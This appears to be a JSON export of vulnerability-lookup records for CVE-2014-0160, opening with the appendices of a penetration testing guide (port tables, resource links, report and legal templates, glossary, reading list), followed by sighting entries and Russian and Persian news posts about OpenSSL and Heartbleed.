Kibana |\n| 5631 | pcAnywhere | TCP | Symantec pcAnywhere |\n| 5632 | pcAnywhere | UDP | Symantec pcAnywhere |\n| 5666 | Nagios | TCP | Nagios |\n| 5667 | Nagios | TCP | Nagios |\n| 5672 | RabbitMQ | TCP | RabbitMQ |\n| 5683 | CoAP | UDP | Constrained Application Protocol |\n| 5800 | VNC | TCP | VNC HTTP |\n| 5900 | VNC | TCP | VNC |\n| 5984 | CouchDB | TCP | Apache CouchDB |\n| 6000 | X11 | TCP | X Window System |\n| 6001 | X11 | TCP | X Window System |\n| 6002 | X11 | TCP | X Window System |\n| 6379 | Redis | TCP | Redis |\n| 6667 | IRC | TCP | Internet Relay Chat |\n| 6668 | IRC | TCP | Internet Relay Chat (SSL) |\n| 6697 | IRC | TCP | IRC over SSL |\n| 6881 | BitTorrent | TCP | BitTorrent |\n| 6969 | BitTorrent | TCP | BitTorrent Tracker |\n| 7000 | Cassandra | TCP | Apache Cassandra |\n| 7001 | Cassandra | TCP | Apache Cassandra SSL |\n| 7199 | Cassandra | TCP | Cassandra JMX |\n| 8000 | HTTP-alt | TCP | HTTP Alternate |\n| 8005 | Tomcat | TCP | Apache Tomcat |\n| 8006 | VMware | TCP | VMware vCenter |\n| 8008 | HTTP-alt | TCP | HTTP Alternate |\n| 8009 | AJP | TCP | Apache JServ Protocol |\n| 8010 | Zabbix | TCP | Zabbix |\n| 8042 | Docker | TCP | Docker registry |\n| 8069 | Odoo | TCP | Odoo |\n| 8080 | HTTP-alt | TCP | HTTP Alternate (Tomcat, Jenkins) |\n| 8081 | HTTP-alt | TCP | HTTP Alternate (Nexus) |\n| 8082 | HTTP-alt | TCP | HTTP Alternate |\n| 8083 | HTTP-alt | TCP | HTTP Alternate |\n| 8084 | HTTP-alt | TCP | HTTP Alternate |\n| 8085 | HTTP-alt | TCP | HTTP Alternate |\n| 8086 | InfluxDB | TCP | InfluxDB |\n| 8087 | Cassandra | TCP | Cassandra |\n| 8088 | Hadoop | TCP | Hadoop |\n| 8089 | Splunk | TCP | Splunk |\n| 8090 | HTTP-alt | TCP | HTTP Alternate (Confluence) |\n| 8091 | Couchbase | TCP | Couchbase |\n| 8092 | Couchbase | TCP | Couchbase |\n| 8100 | HTTP-alt | TCP | HTTP Alternate |\n| 8123 | Polipo | TCP | Polipo proxy |\n| 8161 | ActiveMQ | TCP | ActiveMQ |\n| 8181 | HTTP-alt | TCP | HTTP Alternate (GlassFish) |\n| 8200 | VMware | TCP | VMware vCenter |\n| 8222 | VMware | TCP | VMware vCenter |\n| 8300 | HTTP-alt | TCP | HTTP Alternate |\n| 8332 | Bitcoin | TCP | Bitcoin JSON-RPC |\n| 8333 | Bitcoin | TCP | Bitcoin |\n| 8400 | HTTP-alt | TCP | HTTP Alternate |\n| 8443 | HTTPS-alt | TCP | HTTPS Alternate (Tomcat SSL) |\n| 8500 | HTTP-alt | TCP | HTTP Alternate |\n| 8530 | Windows | TCP | Windows Deployment Services |\n| 8531 | Windows | TCP | Windows Deployment Services SSL |\n| 8649 | Ganglia | TCP | Ganglia |\n| 8888 | HTTP-alt | TCP | HTTP Alternate (Jupyter, etc.) |\n| 8983 | Solr | TCP | Apache Solr |\n| 8990 | HTTP-alt | TCP | HTTP Alternate |\n| 9000 | HTTP-alt | TCP | HTTP Alternate (Portainer, etc.) |\n| 9001 | HTTP-alt | TCP | HTTP Alternate (Supervisor) |\n| 9042 | Cassandra | TCP | Cassandra CQL |\n| 9090 | HTTP-alt | TCP | HTTP Alternate (Prometheus, etc.) |\n| 9092 | Kafka | TCP | Apache Kafka |\n| 9100 | Printer | TCP | JetDirect printing |\n| 9160 | Cassandra | TCP | Cassandra Thrift |\n| 9200 | Elasticsearch | TCP | Elasticsearch |\n| 9300 | Elasticsearch | TCP | Elasticsearch (transport) |\n| 9418 | Git | TCP | Git |\n| 9999 | HTTP-alt | TCP | HTTP Alternate |\n| 10000 | Webmin | TCP | Webmin |\n| 10050 | Zabbix | TCP | Zabbix Agent |\n| 10051 | Zabbix | TCP | Zabbix Trapper |\n| 11211 | Memcached | TCP/UDP | Memcached |\n| 11214 | Memcached | TCP | Memcached |\n| 11215 | Memcached | TCP | Memcached |\n| 15672 | RabbitMQ | TCP | RabbitMQ Management |\n| 16010 | HBase | TCP | HBase |\n| 16020 | HBase | TCP | HBase |\n| 16030 | HBase | TCP | HBase |\n| 17000 | Docker | TCP | Docker |\n| 18080 | HTTP-alt | TCP | HTTP Alternate |\n| 19000 | HTTP-alt | TCP | HTTP Alternate |\n| 19150 | HTTP-alt | TCP | HTTP Alternate |\n| 20000 | DNP3 | TCP | Distributed Network Protocol |\n| 20002 | HTTP-alt | TCP | HTTP Alternate |\n| 21025 | Minecraft | TCP | Minecraft |\n| 21320 | HTTP-alt | TCP | HTTP Alternate |\n| 22000 | HTTP-alt | TCP | HTTP Alternate |\n| 22222 | HTTP-alt | TCP | HTTP Alternate |\n| 23023 | HTTP-alt | TCP | HTTP Alternate |\n| 24007 | GlusterFS | TCP | GlusterFS |\n| 24008 | GlusterFS | TCP | GlusterFS |\n| 25565 | Minecraft | TCP | Minecraft |\n| 27017 | MongoDB | TCP | MongoDB |\n| 27018 | MongoDB | TCP | MongoDB |\n| 27019 | MongoDB | TCP | MongoDB |\n| 28015 | RethinkDB | TCP | RethinkDB |\n| 28017 | MongoDB | TCP | MongoDB HTTP |\n| 29015 | RethinkDB | TCP | RethinkDB |\n| 30000 | HTTP-alt | TCP | HTTP Alternate |\n| 31337 | Back Orifice | TCP | Back Orifice (hacking tool) |\n| 32768 | RPC | TCP | RPC |\n| 32769 | RPC | TCP | RPC |\n| 32770 | RPC | TCP | RPC |\n| 32771 | RPC | TCP | RPC |\n| 32772 | RPC | TCP | RPC |\n| 32773 | RPC | TCP | RPC |\n| 32774 | RPC | TCP | RPC |\n| 32775 | RPC | TCP | RPC |\n| 32776 | RPC | TCP | RPC |\n| 32777 | RPC | TCP | RPC |\n| 32778 | RPC | TCP | RPC |\n| 32779 | RPC | TCP | RPC |\n| 32780 | RPC | TCP | RPC |\n| 32781 | RPC | TCP | RPC |\n| 32782 | RPC | TCP | RPC |\n| 32783 | RPC | TCP | RPC |\n| 32784 | RPC | TCP | RPC |\n| 32785 | RPC | TCP | RPC |\n| 32786 | RPC | TCP | RPC |\n| 32787 | RPC | TCP | RPC |\n| 32788 | RPC | TCP | RPC |\n| 32789 | RPC | TCP | RPC |\n| 32790 | RPC | TCP | RPC |\n| 32791 | RPC | TCP | RPC |\n| 32792 | RPC | TCP | RPC |\n| 32793 | RPC | TCP | RPC |\n| 32794 | RPC | TCP | RPC |\n| 32795 | RPC | TCP | RPC |\n| 32796 | RPC | TCP | RPC |\n| 32797 | RPC | TCP | RPC |\n| 32798 | RPC | TCP | RPC |\n| 32799 | RPC | TCP | RPC |\n| 32800 | RPC | TCP | RPC |\n\n### Common UDP Ports\n\n| Port | Service | Protocol | Description |\n|------|---------|----------|-------------|\n| 53 | DNS | UDP | Domain Name System |\n| 67 | DHCP | UDP | DHCP Server |\n| 68 | DHCP | UDP | DHCP Client |\n| 69 | TFTP | UDP | Trivial File Transfer Protocol |\n| 123 | NTP | UDP | Network Time Protocol |\n| 137 | NetBIOS | UDP | NetBIOS Name Service |\n| 138 | NetBIOS | UDP | NetBIOS Datagram Service |\n| 161 | SNMP | UDP | Simple Network Management Protocol |\n| 162 | SNMP-trap | UDP | SNMP Traps |\n| 500 | ISAKMP | UDP | Internet Security Association Key Management Protocol |\n| 514 | Syslog | UDP | System Logging |\n| 520 | RIP | UDP | Routing Information Protocol |\n| 1900 | SSDP | UDP | Simple Service Discovery Protocol |\n| 4500 | IPSec | UDP | IPSec NAT-T |\n| 5353 | mDNS | UDP | Multicast DNS |\n| 5683 | CoAP | UDP | Constrained Application Protocol |\n| 11211 | Memcached | UDP | Memcached |\n\n## Appendix C: Vulnerability Databases and Resources\n\n### Major Vulnerability Databases\n\n| Name | URL | Description |\n|------|-----|-------------|\n| CVE Details | https://www.cvedetails.com | Comprehensive CVE search |\n| NVD | https://nvd.nist.gov | National Vulnerability Database |\n| Exploit-DB | https://www.exploit-db.com | Public exploits |\n| Packet Storm | https://packetstormsecurity.com | Security tools and papers |\n| CXSECURITY | https://cxsecurity.com | Vulnerability database |\n| Rapid7 DB | https://www.rapid7.com/db | Vulnerability database |\n| VulDB | https://vuldb.com | Vulnerability database |\n| CVE.org | https://cve.org | Official CVE list |\n\n### Security Tools and Frameworks\n\n| Name | URL | Description |\n|------|-----|-------------|\n| Nmap | https://nmap.org | Network scanner |\n| Metasploit | https://www.metasploit.com | Exploitation framework |\n| Burp Suite | https://portswigger.net/burp | Web security testing |\n| Wireshark | https://www.wireshark.org | Packet analyzer |\n| Kali Linux | https://www.kali.org | Penetration testing distribution |\n| OWASP Tools | https://owasp.org/www-community/Free_for_Open_Source_Application_Security_Tools | OWASP tool listing |\n| SecLists | https://github.com/danielmiessler/SecLists | Wordlists |\n| BloodHound | https://github.com/BloodHoundAD/BloodHound | Active Directory mapping |\n| Impacket | https://github.com/SecureAuthCorp/impacket | Network protocols |\n\n### Learning Resources\n\n| Name | URL | Description |\n|------|-----|-------------|\n| OWASP | https://owasp.org | Web application security |\n| SANS | https://www.sans.org | Security training |\n| Cybrary | https://www.cybrary.it | Free security training |\n| PentesterLab | https://pentesterlab.com | Hands-on exercises |\n| HackTheBox | https://www.hackthebox.com | Penetration testing labs |\n| TryHackMe | https://tryhackme.com | Guided learning |\n| VulnHub | https://www.vulnhub.com | Vulnerable VMs |\n| PortSwigger Web Security Academy | https://portswigger.net/web-security | Free web security training |\n\n## Appendix D: Sample Penetration Testing Reports\n\n### Executive Summary Template\n\n```markdown\n# Executive Summary\n\n## Engagement Overview\n- **Client:** [Client Name]\n- **Assessment Date:** [Date]\n- **Testers:** [Tester Names]\n- **Scope:** [Scope Description]\n\n## Risk Summary\n| Severity | Count |\n|----------|-------|\n| Critical | [#] |\n| High | [#] |\n| Medium | [#] |\n| Low | [#] |\n| Informational | [#] |\n\n## Key Findings\n1. **[Finding Title]** - [Severity]\n   - **Impact:** [Brief impact description]\n   - **Recommendation:** [Brief recommendation]\n\n2. **[Finding Title]** - [Severity]\n   - **Impact:** [Brief impact description]\n   - **Recommendation:** [Brief recommendation]\n\n## Strategic Recommendations\n- [Recommendation 1]\n- [Recommendation 2]\n- [Recommendation 3]\n\n## Business Impact\n[Description of potential business impact]\n\n## Next Steps\n1. Remediate critical and high findings within [timeframe]\n2. Schedule remediation verification testing\n3. Update security policies and procedures\n4. Consider additional security controls\n```\n\n### Technical Finding Template\n\n```markdown\n# [Finding ID]: [Finding Title]\n\n## Overview\n- **Severity:** [Critical/High/Medium/Low/Info]\n- **CVSS Score:** [Score] ([Vector])\n- **Affected Assets:** [List of affected IPs/hosts]\n- **Discovery Date:** [Date]\n\n## Description\n[Detailed description of the vulnerability]\n\n## Proof of Concept\n```\n[Commands, outputs, or screenshots demonstrating the vulnerability]\n```\n\n## Impact\n[Detailed impact analysis]\n\n## Remediation\n### Immediate Fix\n[Steps to immediately address the vulnerability]\n\n### Long-term Solution\n[Permanent fix recommendations]\n\n## References\n- [Reference 1]\n- [Reference 2]\n\n## Re-test Notes\n[Results of verification testing after remediation]\n```\n\n## Appendix E: Legal Documents and Templates\n\n### Penetration Testing Agreement Template\n\n```markdown\n# Penetration Testing Services Agreement\n\nThis Penetration Testing Services Agreement (\"Agreement\") is entered into as of [Date] by and between:\n\n**Client:** [Client Name], [Address]\n\n**Provider:** [Provider Name], [Address]\n\n## 1. Scope of Services\nProvider agrees to perform penetration testing services as described in Exhibit A (Statement of Work).\n\n## 2. Testing Parameters\n- **Target Systems:** [List of IPs/domains/systems]\n- **Testing Period:** [Start Date] to [End Date]\n- **Testing Hours:** [Hours]\n- **Testing Methods:** [White box/Black box/Grey box]\n\n## 3. Rules of Engagement\n- Provider shall not perform denial of service attacks without explicit written permission\n- Provider shall not modify or delete data\n- Provider shall not exfiltrate sensitive data beyond proof of concept\n- Provider shall immediately report any critical findings\n- Provider shall maintain confidentiality of all findings\n\n## 4. Deliverables\n- Executive Summary\n- Technical Report\n- Remediation Guidance\n- Raw Data and Logs\n\n## 5. Confidentiality\nProvider agrees to maintain strict confidentiality regarding:\n- All client data accessed during testing\n- Vulnerability findings\n- Network architecture information\n- Employee information\n\n## 6. Liability and Indemnification\n[Liability clauses]\n\n## 7. Termination\n[Termination clauses]\n\n## 8. Acceptance and Signatures\n\n**Client:**\n________________________\nName: \nTitle: \nDate: \n\n**Provider:**\n________________________\nName: \nTitle: \nDate: \n```\n\n### Responsible Disclosure Policy Template\n\n```markdown\n# Responsible Disclosure Policy\n\n## Introduction\n[Company Name] is committed to maintaining the security of our systems and data. We welcome contributions from security researchers to help us identify and address potential vulnerabilities.\n\n## Scope\nThis policy applies to:\n- [Domain list]\n- [IP ranges]\n- [Applications]\n\nThe following are OUT OF SCOPE:\n- [Excluded systems]\n- [Excluded testing types]\n\n## Guidelines\nWhen conducting research, you must:\n- Provide detailed reports with reproduction steps\n- Make a good faith effort to avoid privacy violations\n- Not access or modify data beyond proof of concept\n- Not perform denial of service attacks\n- Not exploit social engineering\n- Not physically test facilities\n\n## Reporting Process\n1. Submit findings to [security@company.com]\n2. Include detailed description and proof of concept\n3. Allow [X] days for initial response\n4. Allow [Y] days for remediation\n5. Coordinate public disclosure\n\n## Safe Harbor\n[Company Name] will not pursue legal action against researchers who:\n- Follow this policy\n- Report findings in good faith\n- Do not exploit findings beyond necessary proof\n\n## Recognition\nWe offer:\n- Public acknowledgment (with permission)\n- Monetary rewards based on severity (see bug bounty program)\n- Hall of fame inclusion\n\n## Contact\nSecurity Team: [email]\nPGP Key: [key]\nBug Bounty Program: [URL]\n```\n\n## Appendix F: Glossary of Terms\n\n### A\n- **ACK**: Acknowledgment packet in TCP\n- **ACL**: Access Control List\n- **ARP**: Address Resolution Protocol\n- **AS**: Autonomous System\n- **ASN**: Autonomous System Number\n\n### B\n- **BGP**: Border Gateway Protocol\n- **BPDU**: Bridge Protocol Data Unit\n- **BYOD**: Bring Your Own Device\n\n### C\n- **CAM**: Content Addressable Memory\n- **CDP**: Cisco Discovery Protocol\n- **CIDR**: Classless Inter-Domain Routing\n- **CNAME**: Canonical Name record\n- **CSRF**: Cross-Site Request Forgery\n- **CVE**: Common Vulnerabilities and Exposures\n- **CVSS**: Common Vulnerability Scoring System\n\n### D\n- **DDoS**: Distributed Denial of Service\n- **DHCP**: Dynamic Host Configuration Protocol\n- **DMI**: Desktop Management Interface\n- **DMZ**: Demilitarized Zone\n- **DNS**: Domain Name System\n- **DTP**: Dynamic Trunking Protocol\n\n### E\n- **EAP**: Extensible Authentication Protocol\n- **ECMP**: Equal-Cost Multi-Path\n- **EDNS**: Extension Mechanisms for DNS\n- **ESP**: Encapsulating Security Payload\n\n### F\n- **FTP**: File Transfer Protocol\n- **FIN**: Finish flag in TCP\n\n### G\n- **GARP**: Gratuitous ARP\n- **GRE**: Generic Routing Encapsulation\n\n### H\n- **HOL**: Head-of-Line blocking\n- **HSTS**: HTTP Strict Transport Security\n- **HTTP**: Hypertext Transfer Protocol\n- **HTTPS**: HTTP Secure\n\n### I\n- **ICMP**: Internet Control Message Protocol\n- **IDS**: Intrusion Detection System\n- **IKE**: Internet Key Exchange\n- **IMAP**: Internet Message Access Protocol\n- **IoT**: Internet of Things\n- **IP**: Internet Protocol\n- **IPS**: Intrusion Prevention System\n- **IPsec**: IP Security\n- **IPv4**: Internet Protocol version 4\n- **IPv6**: Internet Protocol version 6\n- **ISN**: Initial Sequence Number\n\n### J\n- **JA3**: TLS fingerprinting method\n\n### K\n- **KDC**: Key Distribution Center\n\n### L\n- **L2TP**: Layer 2 Tunneling Protocol\n- **LACP**: Link Aggregation Control Protocol\n- **LDAP**: Lightweight Directory Access Protocol\n- **LLDP**: Link Layer Discovery Protocol\n- **LSA**: Link State Advertisement\n\n### M\n- **MAC**: Media Access Control\n- **MIB**: Management Information Base\n- **MITM**: Man-in-the-Middle\n- **MLD**: Multicast Listener Discovery\n- **MTU**: Maximum Transmission Unit\n- **MX**: Mail Exchange record\n\n### N\n- **NAC**: Network Access Control\n- **NAT**: Network Address Translation\n- **NetBIOS**: Network Basic Input/Output System\n- **NFS**: Network File System\n- **NIC**: Network Interface Card\n- **Nmap**: Network Mapper\n- **NTP**: Network Time Protocol\n\n### O\n- **OS**: Operating System\n- **OSI**: Open Systems Interconnection\n- **OSPF**: Open Shortest Path First\n- **OT**: Operational Technology\n\n### P\n- **P2P**: Peer-to-Peer\n- **PAT**: Port Address Translation\n- **PCAP**: Packet Capture\n- **POP3**: Post Office Protocol version 3\n- **PPP**: Point-to-Point Protocol\n- **PPTP**: Point-to-Point Tunneling Protocol\n- **PSK**: Pre-Shared Key\n- **PTR**: Pointer record\n\n### Q\n- **QoS**: Quality of Service\n- **QUIC**: Quick UDP Internet Connections\n\n### R\n- **RADIUS**: Remote Authentication Dial-In User Service\n- **RARP**: Reverse ARP\n- **RDP**: Remote Desktop Protocol\n- **RIP**: Routing Information Protocol\n- **RPC**: Remote Procedure Call\n- **RPKI**: Resource Public Key Infrastructure\n- **RST**: Reset flag in TCP\n- **RTT**: Round-Trip Time\n\n### S\n- **SACK**: Selective Acknowledgment\n- **SCADA**: Supervisory Control and Data Acquisition\n- **SDN**: Software-Defined Networking\n- **SMB**: Server Message Block\n- **SMTP**: Simple Mail Transfer Protocol\n- **SNMP**: Simple Network Management Protocol\n- **SOA**: Start of Authority record\n- **SQL**: Structured Query Language\n- **SSDP**: Simple Service Discovery Protocol\n- **SSH**: Secure Shell\n- **SSL**: Secure Sockets Layer\n- **STP**: Spanning Tree Protocol\n- **SYN**: Synchronize flag in TCP\n\n### T\n- **TCP**: Transmission Control Protocol\n- **TLS**: Transport Layer Security\n- **TTL**: Time to Live\n- **TTY**: Teletype\n- **TXT**: Text record\n\n### U\n- **UDP**: User Datagram Protocol\n- **UEFI**: Unified Extensible Firmware Interface\n- **UPnP**: Universal Plug and Play\n- **URI**: Uniform Resource Identifier\n- **URL**: Uniform Resource Locator\n\n### V\n- **VLAN**: Virtual Local Area Network\n- **VNC**: Virtual Network Computing\n- **VoIP**: Voice over IP\n- **VPN**: Virtual Private Network\n- **VXLAN**: Virtual Extensible LAN\n\n### W\n- **WAF**: Web Application Firewall\n- **WEP**: Wired Equivalent Privacy\n- **WPA**: Wi-Fi Protected Access\n- **WPS**: Wi-Fi Protected Setup\n\n### X\n- **X.509**: Standard for public key certificates\n- **XSS**: Cross-Site Scripting\n- **XXE**: XML External Entity\n\n### Y\n- **YARA**: Pattern matching tool\n\n### Z\n- **Zero-day**: Previously unknown vulnerability\n- **Zero Trust**: Security model requiring verification for all access\n- **Zombie**: Compromised system used in DDoS attacks\n\n## Appendix G: Further Reading and References\n\n### Books\n\n1. **\"The Web Application Hacker's Handbook\"** by Stuttard and Pinto\n   - Comprehensive guide to web application security testing\n\n2. **\"Network Security Assessment\"** by Chris McNab\n   - Detailed guide to assessing network infrastructure security\n\n3. **\"Practical Packet Analysis\"** by Chris Sanders\n   - Guide to using Wireshark for network analysis\n\n4. **\"Metasploit: The Penetration Tester's Guide\"** by Kennedy et al.\n   - Comprehensive guide to the Metasploit framework\n\n5. **\"Hacking: The Art of Exploitation\"** by Jon Erickson\n   - Deep dive into exploitation techniques\n\n6. **\"TCP/IP Illustrated\"** by Stevens et al.\n   - Comprehensive guide to TCP/IP protocols\n\n7. **\"Penetration Testing: A Hands-On Introduction to Hacking\"** by Georgia Weidman\n   - Practical introduction to penetration testing\n\n8. **\"The Tangled Web\"** by Michal Zalewski\n   - Advanced web application security concepts\n\n9. **\"Practical Malware Analysis\"** by Sikorski and Honig\n   - Guide to analyzing malicious software\n\n10. **\"Blue Team Handbook\"** by Don Murdoch\n    - Incident response and network defense\n\n### RFCs (Request for Comments)\n\n- **RFC 791**: Internet Protocol\n- **RFC 793**: Transmission Control Protocol\n- **RFC 768**: User Datagram Protocol\n- **RFC 792**: Internet Control Message Protocol\n- **RFC 1034/1035**: Domain Name System\n- **RFC 2616**: HTTP/1.1\n- **RFC 5246**: TLS 1.2\n- **RFC 8446**: TLS 1.3\n- **RFC 2131**: DHCP\n- **RFC 2328**: OSPFv2\n- **RFC 4271**: BGP-4\n- **RFC 2544**: Network device benchmarking\n\n### Academic Papers\n\n1. **\"A Look Back at the TCP/IP Stack\"** - Historical perspective\n2. **\"DNS Rebinding Attacks\"** - Stanford University research\n3. **\"HTTP Request Smuggling\"** - Original research by Chaim Linhart\n4. **\"Padding Oracles\"** - Research by Rizzo and Duong\n5. **\"The Spy in the Sandbox\"** - Side-channel attacks\n\n### Online Courses\n\n1. **SANS SEC560**: Network Penetration Testing\n2. **Offensive Security PWK**: OSCP preparation\n3. **eLearnSecurity eCPPT**: Professional penetration testing\n4. **Cybrary**: Free security training\n5. **Coursera**: Various security courses\n6. **Udemy**: Practical security courses\n\n### Tools Documentation\n\n1. **Nmap Reference Guide**: https://nmap.org/docs.html\n2. **Wireshark User Guide**: https://www.wireshark.org/docs/\n3. **Metasploit Documentation**: https://docs.rapid7.com/metasploit/\n4. **Burp Suite Documentation**: https://portswigger.net/burp/documentation\n5. **OWASP Projects**: https://owasp.org/projects/\n\n---\n\n*This guide represents thousands of hours of practical experience, research, and community knowledge. It is designed to be a living document that grows with the security community. Use it wisely, share it freely, and always test with permission.*\n\n**Remember:** The goal of security testing is to make systems more secure. Always act ethically, professionally, and with respect for the systems and people you're testing.", "creation_timestamp": "2026-08-25T16:14:13.873770Z"}, {"uuid": "93ad09b5-e91a-4ec7-9de6-fb8ac36ff17b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2014-0160", "type": "seen", "source": "Telegram/ikZnoSctjKS01YLMJM9Qen4V1zyVECG1kRn9n_uoSWF20Fw", "content": "", "creation_timestamp": "2026-08-27T12:00:12.919957Z"}, {"uuid": "50f8fe37-18d8-4fde-9cde-f3a09679502b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2014-0160", "type": "seen", "source": "Telegram/ikZnoSctjKS01YLMJM9Qen4V1zyVECG1kRn9n_uoSWF20Fw", "content": "", "creation_timestamp": "2026-08-28T00:00:56.829437Z"}, {"uuid": "2e63987f-2c64-42a3-bf64-1c778c5493ce", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2014-0160", "type": "published-proof-of-concept", "source": "Telegram/ikZnoSctjKS01YLMJM9Qen4V1zyVECG1kRn9n_uoSWF20Fw", "content": "", "creation_timestamp": "2026-08-29T00:00:12.333260Z"}, {"uuid": "ac786069-48b0-4c90-ba6c-a68b21fa83ff", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2014-0160", "type": "seen", "source": "https://t.me/EchelonEyes/823", "content": "\u0412 OpenSSL \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0435\u043d\u0430 \u043f\u0435\u0440\u0432\u0430\u044f \u0437\u0430 8 \u043b\u0435\u0442 \u043a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u0430\u044f \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c\n\n\u041f\u0440\u043e\u0435\u043a\u0442 OpenSSL \u043e\u0431\u044a\u044f\u0432\u0438\u043b \u043e \u043f\u0440\u0435\u0434\u0441\u0442\u043e\u044f\u0449\u0435\u043c \u043e\u0431\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u0438 \u0434\u043b\u044f \u0443\u0441\u0442\u0440\u0430\u043d\u0435\u043d\u0438\u044f \u043a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u043e\u0439 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u0432 \u043d\u0430\u0431\u043e\u0440\u0435 \u0438\u043d\u0441\u0442\u0440\u0443\u043c\u0435\u043d\u0442\u043e\u0432 \u0441 \u043e\u0442\u043a\u0440\u044b\u0442\u044b\u043c \u0438\u0441\u0445\u043e\u0434\u043d\u044b\u043c \u043a\u043e\u0434\u043e\u043c. \u041d\u043e\u0432\u0430\u044f \u0432\u0435\u0440\u0441\u0438\u044f OpenSSL 3.0.7, \u0432 \u043a\u043e\u0442\u043e\u0440\u043e\u0439 \u0431\u0443\u0434\u0435\u0442 \u0438\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d \u043d\u0435\u0434\u043e\u0441\u0442\u0430\u0442\u043e\u043a, \u0432\u044b\u0439\u0434\u0435\u0442 1 \u043d\u043e\u044f\u0431\u0440\u044f 2022 \u0433\u043e\u0434\u0430. \u041d\u0430 \u0442\u0435\u043a\u0443\u0449\u0438\u0439 \u043c\u043e\u043c\u0435\u043d\u0442 \u043d\u0435 \u0441\u043e\u043e\u0431\u0449\u0430\u0435\u0442\u0441\u044f \u043d\u0438\u043a\u0430\u043a\u0438\u0445 \u043f\u043e\u0434\u0440\u043e\u0431\u043d\u043e\u0441\u0442\u0435\u0439 \u043e\u0431 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438. \u0420\u0430\u0437\u0440\u0430\u0431\u043e\u0442\u0447\u0438\u043a\u0438 \u043e\u0431\u0435\u0449\u0430\u044e\u0442 \u0440\u0430\u0441\u043a\u0440\u044b\u0442\u044c \u0434\u0435\u0442\u0430\u043b\u0438 \u043f\u043e\u0441\u043b\u0435 \u0432\u044b\u0445\u043e\u0434\u0430 \u0438\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u044f.\n\nOpen SSL \u2013 \u044d\u0442\u043e \u043d\u0430\u0431\u043e\u0440 \u043a\u0440\u0438\u043f\u0442\u043e\u0433\u0440\u0430\u0444\u0438\u0447\u0435\u0441\u043a\u0438\u0445 \u0438\u043d\u0441\u0442\u0440\u0443\u043c\u0435\u043d\u0442\u043e\u0432 \u0441 \u043e\u0442\u043a\u0440\u044b\u0442\u044b\u043c \u0438\u0441\u0445\u043e\u0434\u043d\u044b\u043c \u043a\u043e\u0434\u043e\u043c \u0434\u043b\u044f \u043f\u0440\u043e\u0442\u043e\u043a\u043e\u043b\u0430 Transport Layer Security (TLS), \u0440\u0430\u043d\u0435\u0435 \u0438\u0437\u0432\u0435\u0441\u0442\u043d\u043e\u0433\u043e \u043a\u0430\u043a Secure Sockets Layer (SSL). \n\n\u041a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u0430\u044f \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0437\u0430\u0442\u0440\u0430\u0433\u0438\u0432\u0430\u0435\u0442 \u0442\u043e\u043b\u044c\u043a\u043e \u0432\u0435\u0440\u0441\u0438\u0438 3.0 \u0438 \u0431\u043e\u043b\u0435\u0435 \u043f\u043e\u0437\u0434\u043d\u0438\u0435. \u042d\u0442\u043e \u0432\u0442\u043e\u0440\u043e\u0439 \u043a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u0438\u0439 \u043d\u0435\u0434\u043e\u0441\u0442\u0430\u0442\u043e\u043a, \u0438\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u043d\u044b\u0439 \u043f\u0440\u043e\u0435\u043a\u0442\u043e\u043c OpenSSL. \u0414\u043e \u044d\u0442\u043e\u0433\u043e, \u0432 2014 \u0433\u043e\u0434\u0443, \u0431\u044b\u043b\u0430 \u0438\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0430 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c Heartbleed (CVE-2014-0160, BDU:2015:09760) \u0432 2014 \u0433\u043e\u0434\u0443.\n\n\u0418\u0441\u0442\u043e\u0447\u043d\u0438\u043a: https://mta.openssl.org/pipermail/openssl-announce/2022-October/000238.html \n\n#\u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c #OpenSSL", "creation_timestamp": "2026-07-26T02:02:36.758825Z"}, {"uuid": "dc65d964-9df8-41fe-a12a-ca0bb086263f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2014-0160", "type": "seen", "source": "https://t.me/KaitNews/2783", "content": "\u062f\u0631 \u0633\u0627\u0644 \u06f2\u06f0\u06f1\u06f7 \u0647\u0645\u0686\u0646\u0627\u0646 \u06f2\u06f0\u06f0 \u0647\u0632\u0627\u0631 \u0633\u0627\u0645\u0627\u0646\u0647\u200c \u062f\u0627\u0631\u0627\u06cc \u0622\u0633\u06cc\u0628\u200c\u067e\u0630\u06cc\u0631\u06cc Heartbleed \u0647\u0633\u062a\u0646\u062f \n\n\ud83d\udcbb\ud83d\udc9b\ud83d\udcbb\ud83d\udc9b\ud83d\udcbb\ud83d\udc9b\ud83d\udcbb\ud83d\udc9b\ud83d\udcbb\n\n\u0646\u0632\u062f\u06cc\u06a9 \u0628\u0647 \u062f\u0648 \u0633\u0627\u0644 \u0648 \u0646\u0647 \u0645\u0627\u0647 \u0627\u0632 \u0627\u0641\u0634\u0627\u06cc \u0622\u0633\u06cc\u0628\u200c\u067e\u0630\u06cc\u0631\u06cc Heartbleed \u06af\u0630\u0634\u062a\u0647 \u0648 \u0647\u0646\u0648\u0632 \u0647\u0645 \u06f2\u06f0\u06f0 